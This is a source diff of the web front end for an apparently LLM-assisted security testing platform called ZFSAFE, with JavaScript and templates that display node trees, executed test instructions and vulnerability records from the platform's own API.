nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work");
}else {
nodeSpan.classList.remove("no-work");
}
// 根据漏洞级别添加样式
if (nodeData.node_vulgrade) {
nodeSpan.classList.remove("no-work");
if (nodeData.node_vulgrade === "低危") {
nodeSpan.classList.add("vul-low");
} else if (nodeData.node_vulgrade === "中危") {
nodeSpan.classList.add("vul-medium");
} else if (nodeData.node_vulgrade === "高危") {
nodeSpan.classList.add("vul-high");
}
}
// 创建容器用于存放切换图标与文本
const container = document.createElement("div");
container.className = "node-container";
// 如果有子节点,则添加切换图标
if (nodeData.children && nodeData.children.length > 0) {
const toggleIcon = document.createElement("span");
toggleIcon.className = "toggle-icon";
toggleIcon.textContent = "-"; // 默认展开时显示“-”
container.appendChild(toggleIcon);
}
//节点文本
const textSpan = document.createElement("span");
textSpan.className = "node-text";
textSpan.textContent = nodeData.node_name;
container.appendChild(textSpan);
nodeSpan.appendChild(container);
li.appendChild(nodeSpan);
//如果存在子节点,递归生成子节点列表
if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul");
nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child));
});
li.appendChild(ul);
}
return li;
}
// 绑定所有节点的点击事件
function bindTreeNodeEvents() {
document.querySelectorAll(".tree-node").forEach((el) => {
el.addEventListener("click", (event) => {
// 阻止事件冒泡,避免点击时展开折叠影响
event.stopPropagation();
// 清除之前选中的节点样式
document
.querySelectorAll(".tree-node.selected")
.forEach((node) => node.classList.remove("selected"));
// 当前节点标记为选中
el.classList.add("selected");
// 读取 data 属性更新右侧显示
const nodeName = el.getAttribute("data-node_name");
const status = el.getAttribute("data-node_status");
const nodepath = el.getAttribute("data-node_path");
const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade");
const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork };
// 示例中默认填充
selectedNodeData = {
node_name: nodeName,
node_path: nodepath,
status: status,
node_bwork: nodebwork,
vul_type: vulType,
vul_grade: vulLevel || "-",
workstatus: workstatus
};
//刷新界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork)
});
// 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => {
event.stopPropagation();
// 找到该节点下的 <ul> 子节点列表
const parentLi = el.parentElement;
const childUl = parentLi.querySelector("ul");
if (childUl) {
// 切换 collapsed 类,控制 display
childUl.classList.toggle("collapsed");
// 更新切换图标
const toggleIcon = el.querySelector(".toggle-icon");
if (toggleIcon) {
toggleIcon.textContent = childUl.classList.contains("collapsed")
? "+"
: "-";
}
}
});
});
}
// 动态加载节点树数据
async function loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gethistree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
document.getElementById("node_workstatus").textContent = strnew;
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
//刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel;
str_workStatus = getWorkStatus_Str(Number(workStatus));
document.getElementById("node_workstatus").textContent = str_workStatus;
if(nodebwork==="true"){
document.getElementById("node_bwork").textContent = "执行中";
}else {
document.getElementById("node_bwork").textContent = "暂停中";
}
setNodeBtnStatus();
}
//节点按钮的状态控制
function setNodeBtnStatus(){
const btn_VI = document.getElementById("btnViewInstr");
if(!selectedNodeData){
//没有选择node,按钮全部置不可用
btn_VI.disabled = true;
btn_VI.classList.add("disabled-btn");
}
else{
btn_VI.disabled = false;
btn_VI.classList.remove("disabled-btn");
}
}
// // 刷新按钮事件绑定
// document.getElementById("btnRefresh").addEventListener("click", () => {
// // 重新加载节点树数据
// loadNodeTree(cur_task_id);
// });
// 按钮事件:当未选中节点时提示
function checkSelectedNode() {
if (!selectedNodeData) {
alert("请先选择节点");
return false;
}
return true;
}
//----------------------查看节点--指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据
let donePage = 1; // 已执行指令当前页
let todoPage = 1; // 待执行指令当前页
document.getElementById("btnViewInstr").addEventListener("click", () => {
if (!checkSelectedNode()) return;
openInstrModal()
});
// 打开对话框函数
function openInstrModal() {
const instrCanvas = new bootstrap.Offcanvas(document.getElementById('instrCanvas'));
instrCanvas.show();
// const modalEl = document.getElementById("instrModal");
// // 假设用 Bootstrap 5 的 Modal 组件
// const instrModal = new bootstrap.Modal(modalEl, {keyboard: false});
// 显示对话框
//instrModal.show();
// 在打开 modal 时,先更新提示内容,将 loadingMsg 显示“请稍后,数据获取中…”
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.textContent = "请稍后,数据获取中...";
}
// 加载指令数据
loadInstrData();
}
// 调用后端接口,获取指令数据
async function loadInstrData() {
task_id = cur_task_id;
node_path = selectedNodeData.node_path;
try {
const res = await fetch("/api/task/hisnodegetinstr", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id,node_path}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
// 数据获取成功后,清除加载提示
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.style.display = "none"; // 或者清空其 innerHTML
}
doneInstrs = data.doneInstrs || [];
//todoInstrs = data.todoInstrs || [];
donePage = 1;
todoPage = 1;
renderDoneInstrTable(donePage);
//renderTodoInstrTable(todoPage);
} catch (error) {
console.error("加载指令数据异常:", error);
}
}
// 渲染已执行指令表格
function renderDoneInstrTable(page) {
const tbody = document.getElementById("doneInstrTbody");
// 计算起始索引
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = doneInstrs.slice(startIndex, endIndex);
//select instruction,start_time,result from task_result where task_id=%s and node_path=%s;
tbody.innerHTML = "";
// 插入行
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = startIndex + i + 1;
tr.appendChild(tdIndex);
// 第二列:指令内容
const tdInstr = document.createElement("td");
tdInstr.textContent = item[0];
tr.appendChild(tdInstr);
// 第三列:开始时间(如果没有则显示空字符串)
const tdStartTime = document.createElement("td");
tdStartTime.textContent = item[1] || "";
tr.appendChild(tdStartTime);
// 第四列:执行结果
const tdResult = document.createElement("td");
tdResult.textContent = item[2] || "";
tr.appendChild(tdResult);
tbody.appendChild(tr);
});
// 若不足 10 行,补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
// 渲染待执行指令表格
function renderTodoInstrTable(page) {
const tbody = document.getElementById("todoInstrTbody");
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = todoInstrs.slice(startIndex, endIndex);
tbody.innerHTML = "";
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
const idx = startIndex + i + 1;
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = idx;
tr.appendChild(tdIndex);
// 第二列:指令文本内容(直接使用 textContent)
const tdItem = document.createElement("td");
tdItem.textContent = item; // 使用 textContent 避免 HTML 解析
tr.appendChild(tdItem);
// 第三列:复制和删除按钮
const tdAction = document.createElement("td");
// const btn_cp = document.createElement("button");
// btn_cp.className = "btn btn-primary btn-sm";
// btn_cp.textContent = "复制";
// btn_cp.style.marginRight = "2px"; // 设置间隔
// btn_cp.onclick = () => confirmCopyTodoInstr(idx - 1);
// tdAction.appendChild(btn_cp);
const btn = document.createElement("button");
btn.className = "btn btn-danger btn-sm";
btn.textContent = "删除";
btn.onclick = () => confirmDeleteTodoInstr(idx - 1);
tdAction.appendChild(btn);
tr.appendChild(tdAction);
tbody.appendChild(tr);
});
// 补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
// 分页事件
document.getElementById("doneInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (donePage > 1) {
donePage--;
renderDoneInstrTable(donePage);
}
});
document.getElementById("doneInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(doneInstrs.length / pageSize);
if (donePage < maxPage) {
donePage++;
renderDoneInstrTable(donePage);
}
});
document.getElementById("todoInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (todoPage > 1) {
todoPage--;
renderTodoInstrTable(todoPage);
}
});
document.getElementById("todoInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(todoInstrs.length / pageSize);
if (todoPage < maxPage) {
todoPage++;
renderTodoInstrTable(todoPage);
}
});
// 导出当前页数据
document.getElementById("btnExport").addEventListener("click", () => {
// 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]);
} else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]);
}
});
function exportCurrentPage(dataArr, page, headerArr) {
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = dataArr.slice(startIndex, endIndex);
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => {
const rowIndex = startIndex + i + 1;
if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," +
(item.command || "") + "," +
(item.execTime || "") + "," +
(item.result || "") + "\n";
} else {
// 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n";
}
});
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "指令导出.csv";
link.click();
URL.revokeObjectURL(url);
}
//------------------测试数据和漏洞数据tab-------------------
// 复用:根据返回的数据数组渲染表格 tbody,保证固定 10 行
function renderTableRows(tbody, rowsData) {
tbody.innerHTML = "";
// 遍历数据行,生成 <tr>
rowsData.forEach((row, index) => {
const tr = document.createElement("tr");
// 这里假设 row 为对象,包含各个字段;下标从1开始显示序号
for (const cellData of Object.values(row)) {
const td = document.createElement("td");
td.textContent = cellData;
tr.appendChild(td);
}
tbody.appendChild(tr);
});
// 补足空行
const rowCount = rowsData.length;
for (let i = rowCount; i < pageSize; i++) {
const tr = document.createElement("tr");
for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) {
const td = document.createElement("td");
td.innerHTML = "&nbsp;";
tr.appendChild(td);
}
tbody.appendChild(tr);
}
}
//--------------------------测试指令-------------------------------
let allInstrs = [];
let currentInstrPage = 1;
function renderInstrPage(page) {
currentInstrPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allInstrs.slice(start, end);
const tbody = document.querySelector("#instrTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("instrNext").dataset.page = (end < allInstrs.length) ? page + 1 : page;
}
// 查询测试指令
async function searchInstructions(page = 1) {
if(cur_task_id === 0){
return;
}
const nodeName = document.getElementById("instrNodeName").value.trim();
try {
const res = await fetch("/api/task/getinstr", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allInstrs = data.instrs;
renderInstrPage(1); //显示第一页数据
} catch (error) {
console.error("获取测试指令失败:", error);
}
}
//导出测试指令数据
async function ExportInstructions(){
alert("导出指令功能实现中。。。")
}
// 绑定测试指令查询按钮事件
document.getElementById("instrSearchBtn").addEventListener("click", () => {
searchInstructions();
});
// 绑定测试指令分页点击事件
document.getElementById("instrPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);
});
document.getElementById("instrNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);;
});
//------------------漏洞数据---------------------------------
let allVuls = [];
let currentVulPage = 1;
function renderVulPage(page) {
currentVulPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allVuls.slice(start, end);
const tbody = document.querySelector("#vulTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page;
}
// 查询漏洞数据
async function searchVulnerabilities(page = 1) {
if(cur_task_id === 0){return;}
const nodeName = document.getElementById("vulNodeName").value.trim();
const vulType = document.getElementById("vulType").value.trim();
const vulLevel = document.getElementById("vulLevel").value;
try {
const res = await fetch("/api/task/getvul", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName,
vulType,
vulLevel
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allVuls = data.vuls;
renderVulPage(1)
} catch (error) {
console.error("获取漏洞数据失败:", error);
}
}
//导出漏洞数据
async function ExportVuls(){
alert("导出漏洞功能实现中。。。")
}
// 绑定漏洞数据查询按钮事件
document.getElementById("vulSearchBtn").addEventListener("click", () => {
searchVulnerabilities();
});
// 绑定漏洞数据分页点击事件
document.getElementById("vulPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});
document.getElementById("vulNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});

1
web/main/templates/assets_manager.html

@ -8,6 +8,7 @@
<!-- 页面内容块 --> <!-- 页面内容块 -->
{% block content %} {% block content %}
<h3 style="text-align: center;padding: 10px"> 功能建设中,在二期实现。。。</h3>
{% endblock %} {% endblock %}
<!-- 页面脚本块 --> <!-- 页面脚本块 -->

646
web/main/templates/his_task.html

@ -2,14 +2,660 @@
{% block title %}ZFSAFE{% endblock %} {% block title %}ZFSAFE{% endblock %}
<!-- 在此处可添加样式文件 -->
{% block style_link %}
<link href="{{ url_for('main.static', filename='css/node_tree.css') }}" rel="stylesheet">
{% endblock %}
<!-- 页面样式块 --> <!-- 页面样式块 -->
{% block style %} {% block style %}
/* 查询条件区域:使用 row 分布,输入框占满所在列 */
.search-section .form-control,
.search-section .form-select {
width: 100%;
}
/* 查询条件区域,每个条件统一高度且左右间隔均等 */
.search-section .col {
padding: 0 5px;
}
/* 表格样式:统一垂直居中 */
.table thead th, .table tbody td {
vertical-align: middle;
text-align: center;
}
/* 分页区域右对齐 */
.pagination-section {
text-align: right;
padding-right: 15px;
}
/* 固定行高,比如 45px,每页 10 行 */
.fixed-row-height {
height: 45px;
overflow: hidden;
}
/* 模态框内部最大高度,超出部分滚动 */
.modal-dialog {
max-height: calc(100vh+20px);
}
.modal-content {
max-height: calc(100vh+20px);
}
.modal-body {
overflow-y: auto;
}
/* 这里设置页码按钮样式(可根据需要调整) */
.pagination {
margin: 0;
}
.disabled-btn {
/* 禁用状态样式 */
background-color: #cccccc; /* 灰色背景 */
color: #666666; /* 文字颜色变浅 */
cursor: not-allowed; /* 鼠标显示禁用图标 */
opacity: 0.7; /* 可选:降低透明度 */
/* 禁用点击事件(通过 disabled 属性已实现,此样式仅增强视觉效果) */
pointer-events: none; /* 可选:彻底阻止鼠标事件 */
}
.offcanvas-backdrop.show {
z-index: 1055;
}
/* 再把 offcanvas 本身提到更高,超过 modal(modal 是 1055) */
.offcanvas.show {
z-index: 1060;
}
/* 让所有右侧 offcanvas-end 都变成 60% 宽 */
.offcanvas.offcanvas-end {
width: 60% !important;
max-width: none; /* 取消默认 max-width */
}
{% endblock %} {% endblock %}
<!-- 页面内容块 --> <!-- 页面内容块 -->
{% block content %} {% block content %}
<div class="container">
<!-- 查询条件区域 -->
<div class="search-section mb-3">
<form class="row g-3 align-items-center">
<!-- 每个输入框直接使用 placeholder 显示标题,水平分布 -->
<div class="col-3">
<input type="text" class="form-control" id="testTarget" name="target" placeholder="检测目标">
</div>
<div class="col-2">
<select class="form-select" id="riskLevel" name="risk_level">
<option value="">风险级别</option>
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
</select>
</div>
<div class="col-2">
<select class="form-select" id="useModel" name="model">
<option value="">使用模型</option>
<option value="1">DeepSeek</option>
<option value="2">GPT-O3</option>
</select>
</div>
<div class="col-2" >
<input type="date" id="startTime" class="form-control" name="start_time" placeholder="开始时间">
</div>
<div class="col-2">
<input type="date" id="endTime" class="form-control" name="end_time" placeholder="结束时间">
</div>
<div class="col-auto">
<button type="button" class="btn btn-primary" id="btnQuery">查询</button>
</div>
</form>
</div>
<!-- 表格区域 -->
<div class="table-section mb-3">
<table class="table table-bordered table-hover" id="histasksTable" style="width: 100%; table-layout: fixed;">
<thead class="table-light">
<tr>
<th style="width: 60px;">ID</th>
<th style="width: 20%;">检测目标</th>
<th style="width: 15%;">开始时间</th>
<th style="width: 15%;">结束时间</th>
<th style="width: 15%;">风险等级</th>
<th style="width: 15%;">使用模型</th>
<th style="width: 100px;">操作</th>
</tr>
</thead>
<tbody id="histasksTbody">
<!-- 数据由JS动态填充,固定10行一页 -->
</tbody>
</table>
</div>
<!-- 分页控件区域 -->
<div class="pagination-section mb-3">
<nav>
<ul class="pagination pagination-sm justify-content-end" id="histasksPagination">
<li class="page-item">
<a class="page-link" href="#" id="prevPage">上一页</a>
</li>
<!-- 页码动态生成 -->
<li class="page-item">
<a class="page-link" href="#" id="nextPage">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
<!-- 模态框:显示 task_manager.html 中的中间 tab 页内容 -->
<!-- 这里只显示节点树、测试指令、漏洞数据三个 tab 页 -->
<div class="modal fade" id="viewModal" tabindex="-1" aria-labelledby="viewModalLabel" aria-hidden="true">
<div class="modal-dialog modal-xl">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="viewModalLabel">任务详情</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button>
</div>
<div class="modal-body p-0">
<!-- 这里仅嵌入中间 tab 页部分 -->
<div class="tab-wrapper">
<ul class="nav nav-tabs" id="myTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="nodeTreeTab" data-bs-toggle="tab" data-bs-target="#nodeTree" type="button" role="tab" aria-controls="nodeTree" aria-selected="true">
节点树
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="testInstructionsTab" data-bs-toggle="tab" data-bs-target="#testInstructions" type="button" role="tab" aria-controls="testInstructions" aria-selected="false">
测试指令
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="vulnerabilitiesTab" data-bs-toggle="tab" data-bs-target="#vulnerabilities" type="button" role="tab" aria-controls="vulnerabilities" aria-selected="false">
漏洞数据
</button>
</li>
</ul>
<div class="tab-content" id="myTabContent">
<!-- 节点树 -->
<div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
<div class="row h-100">
<!-- 左侧:节点树区域 -->
<div class="col-8 h-100">
<div class="node-tree-area" id="nodeTreeContainer" style="height: 100%; overflow-y: auto; position: relative; background-color: #f8f9fa;">
<!-- 固定刷新按钮 -->
<!-- <div class="refresh-container" style="position: absolute; top: 5px; left: 5px; z-index: 100;">-->
<!-- <button class="tree-refresh btn btn-primary btn-sm" id="btnRefresh" title="刷新节点树">&#x21bb;</button>-->
<!-- </div>-->
<!-- 节点树内容 -->
<div id="treeContent" class="tree-content" style="padding-top: 40px;">
<p id="treeLoadingMsg" style="text-align:center;">加载中...</p>
</div>
</div>
</div>
<!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100">
<div class="node-info-area mb-3" style="padding: 10px;">
<h5>节点信息</h5>
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div>
<div class="node-actions" style="padding: 0 10px 10px;">
<div class="row mb-2">
<div class="col-12">
<button class="btn btn-primary w-100" id="btnViewInstr">查看指令</button>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- 测试指令 -->
<div class="tab-pane fade p-3" id="testInstructions" role="tabpanel" aria-labelledby="testInstructionsTab">
<div class="row search-area mb-2">
<div class="col-4">
<input type="text" class="form-control" id="instrNodeName" placeholder="节点名称">
</div>
<div class="col-2">
<button class="btn btn-primary" id="instrSearchBtn">查询</button>
<button class="btn btn-primary" id="instrExportBtn">导出</button>
</div>
</div>
<table class="table table-bordered table-hover" id="instrTable" style="width: 100%; table-layout: fixed;">
<colgroup>
<col style="width: 5%;">
<col style="width: 15%;">
<col style="width: 5%;">
<col style="width: 30%;" class="wrap-cell">
<col style="width: auto;">
</colgroup>
<thead>
<tr>
<th>序号</th>
<th>节点路径</th>
<th>指序</th>
<th>执行指令</th>
<th>执行结果</th>
</tr>
</thead>
<tbody>
<!-- 默认显示10行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination" id="instrPagination">
<li class="page-item">
<a class="page-link" href="#" id="instrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="instrNext">下一页</a>
</li>
</ul>
</nav>
</div>
<!-- 漏洞数据 -->
<div class="tab-pane fade p-3" id="vulnerabilities" role="tabpanel" aria-labelledby="vulnerabilitiesTab">
<div class="row search-area mb-2">
<div class="col-3">
<input type="text" class="form-control" id="vulNodeName" placeholder="节点名称">
</div>
<div class="col-3">
<input type="text" class="form-control" id="vulType" placeholder="漏洞类型">
</div>
<div class="col-3">
<select class="form-select" id="vulLevel">
<option value="">漏洞级别</option>
<option value="低危">低危</option>
<option value="中危">中危</option>
<option value="高危">高危</option>
</select>
</div>
<div class="col-2">
<button class="btn btn-primary" id="vulSearchBtn">查询</button>
<button class="btn btn-primary" id="vulExportBtn">导出</button>
</div>
</div>
<table class="table table-bordered table-hover" id="vulTable">
<thead>
<tr>
<th class="seq-col">序号</th>
<th>节点路径</th>
<th>漏洞类型</th>
<th>漏洞级别</th>
<th>漏洞说明</th>
</tr>
</thead>
<tbody>
<!-- 默认显示10行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination" id="vulPagination">
<li class="page-item">
<a class="page-link" href="#" id="vulPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="vulNext">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</div>
<!-- 模态框 footer -->
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- 查看节点执行指令offcanvas --modal 改--->
<div class="offcanvas offcanvas-end" tabindex="-1" id="instrCanvas" aria-labelledby="instrCanvasLabel">
<div class="offcanvas-header">
<!-- 返回按钮 -->
<!-- <button type="button" class="btn btn-outline-secondary btn-sm" data-bs-dismiss="offcanvas">-->
<!---->
<!-- </button>-->
<h5 class="offcanvas-title" id="instrOffcanvasLabel">测试指令</h5>
<button type="button" class="btn-close text-reset" data-bs-dismiss="offcanvas" aria-label="Close"></button>
</div>
<div class="offcanvas-body">
<!-- 返回按钮 -->
<div class="mb-3">
<button type="button" class="btn btn-outline-secondary btn-sm" data-bs-dismiss="offcanvas">
← 返回
</button>
</div>
<!-- 新增一个提示容器 -->
<!-- <div id="loadingMsg" style="text-align: center; padding: 10px;">请稍后,数据获取中...</div>-->
<div id="loadingMsg" class="text-center mb-3">请稍后,数据获取中...</div>
<!-- 页签(已执行、待执行) -->
<ul class="nav nav-tabs" id="instrTab" role="tablist">
<li class="nav-item" role="presentation">
<button
class="nav-link active"
id="doneInstrTab"
data-bs-toggle="tab"
data-bs-target="#doneInstr"
type="button"
role="tab"
aria-controls="doneInstr"
aria-selected="true"
>
已执行
</button>
</li>
<li class="nav-item" role="presentation">
<button
class="nav-link"
id="todoInstrTab"
data-bs-toggle="tab"
data-bs-target="#todoInstr"
type="button"
role="tab"
aria-controls="todoInstr"
aria-selected="false"
>
待执行
</button>
</li>
</ul>
<div class="tab-content pt-3" id="instrTabContent">
<!-- 已执行指令表格 -->
<div
class="tab-pane fade show active"
id="doneInstr"
role="tabpanel"
aria-labelledby="doneInstrTab"
>
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width: 50px;">序号</th>
<th>执行指令</th>
<th>执行时间</th>
<th>执行结果</th>
</tr>
</thead>
<tbody id="doneInstrTbody">
<!-- 动态生成,固定 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="doneInstrPagination">
<li class="page-item">
<a class="page-link" href="#" id="doneInstrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="doneInstrNext">下一页</a>
</li>
</ul>
</nav>
</div>
<!-- 待执行指令表格 -->
<div
class="tab-pane fade"
id="todoInstr"
role="tabpanel"
aria-labelledby="todoInstrTab"
>
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width: 50px;">序号</th>
<th>待执行指令</th>
<th style="width: 80px;">操作</th>
</tr>
</thead>
<tbody id="todoInstrTbody">
<!-- 动态生成,固定 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="todoInstrPagination">
<li class="page-item">
<a class="page-link" href="#" id="todoInstrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="todoInstrNext">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
<!-- 操作按钮 -->
<div class="mt-4 d-flex justify-content-end">
<button type="button" class="btn btn-primary" id="btnExport">导出</button>
</div>
</div>
</div>
{% endblock %} {% endblock %}
<!-- 页面脚本块 --> <!-- 页面脚本块 -->
{% block script %} {% block script %}
<script src="{{ url_for('main.static', filename='scripts/task_modal.js') }}"></script>
<script>
// 全局变量
let cur_task_id = 0;
let allHistasks = [];
let currentPage = 1;
const pageSize = 10;
// 分页渲染函数
function renderHistasksTable(page) {
currentPage = page;
const tbody = document.getElementById("histasksTbody");
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = allHistasks.slice(startIndex, endIndex);
//select ID,task_target,safe_rank,llm_type,start_time,end_time from task
tbody.innerHTML = "";
pageData.forEach((task, i) => {
const tr = document.createElement("tr");
// 每个单元格创建时使用 textContent,确保固定行高,如有需要也可增加 class "fixed-row-height"
const tdId = document.createElement("td");
tdId.textContent = task[0];
tr.appendChild(tdId);
const tdTarget = document.createElement("td");
tdTarget.textContent = task[1];
tr.appendChild(tdTarget);
const tdStart = document.createElement("td");
tdStart.textContent = task[4] || "";
tr.appendChild(tdStart);
const tdEnd = document.createElement("td");
